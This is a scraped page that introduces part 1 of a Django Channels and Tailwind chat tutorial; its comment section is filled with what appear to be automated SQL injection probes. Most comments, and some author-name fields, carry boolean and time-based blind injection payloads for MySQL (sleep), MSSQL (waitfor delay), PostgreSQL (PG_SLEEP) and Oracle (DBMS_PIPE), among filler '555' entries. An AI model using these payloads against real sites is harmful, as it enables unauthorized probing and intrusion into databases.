Part 1 - Setting up - Django Chat App - Realtime Chat Tutorial - Tailwind CSS

This is part 1 of 4, and in this part we will set up the project and create the base templates.

Users must be authenticated to join the chat rooms.

We are going to use Django Channels for the web sockets communication.

The design is built using Tailwind CSS, so you will be able to learn a little bit about that as well.

Comments

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

-1 OR 2+188-188-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:36

-1 OR 2+799-799-1=0+0+0+1

EFSArCBy | Jul 02, 26 11:36

-1' OR 2+728-728-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:36

-1' OR 2+967-967-1=0+0+0+1 or 'wIOj3gUL'='

EFSArCBy | Jul 02, 26 11:36

-1" OR 2+385-385-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:36

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 11:36

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 11:36

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 11:36

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 11:36

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:36

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:36

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:36

555ho9I9HXr'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:36

555-1 OR 454=(SELECT 454 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:36

555-1) OR 457=(SELECT 457 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:36

555-1)) OR 653=(SELECT 653 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:36

555BXWYGnOB' OR 328=(SELECT 328 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:36

555jjdXh4YH') OR 691=(SELECT 691 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:36

555VcurDmcN')) OR 215=(SELECT 215 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:36

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 11:36

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555'"

EFSArCBy | Jul 02, 26 11:36

@@YeNmE

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

-1 OR 2+498-498-1=0+0+0+1 -- | Jul 02, 26 11:36

555

-1 OR 2+770-770-1=0+0+0+1 | Jul 02, 26 11:36

555

-1' OR 2+407-407-1=0+0+0+1 -- | Jul 02, 26 11:36

555

-1' OR 2+301-301-1=0+0+0+1 or 'OEAqJ7OC'=' | Jul 02, 26 11:36

555

-1" OR 2+750-750-1=0+0+0+1 -- | Jul 02, 26 11:36

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 11:36

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 11:36

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 11:36

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 11:36

555

EFSArCBymDMrQkzh'; waitfor delay '0:0:15' -- | Jul 02, 26 11:36

555

EFSArCByrZ7SQE4y' OR 962=(SELECT 962 FROM PG_SLEEP(15))-- | Jul 02, 26 11:36

555

EFSArCByJYpEGPYU') OR 793=(SELECT 793 FROM PG_SLEEP(15))-- | Jul 02, 26 11:36

555

EFSArCByPAOxBPCJ')) OR 902=(SELECT 902 FROM PG_SLEEP(15))-- | Jul 02, 26 11:36

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy'" | Jul 02, 26 11:36

555

@@SjpMv | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:36

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.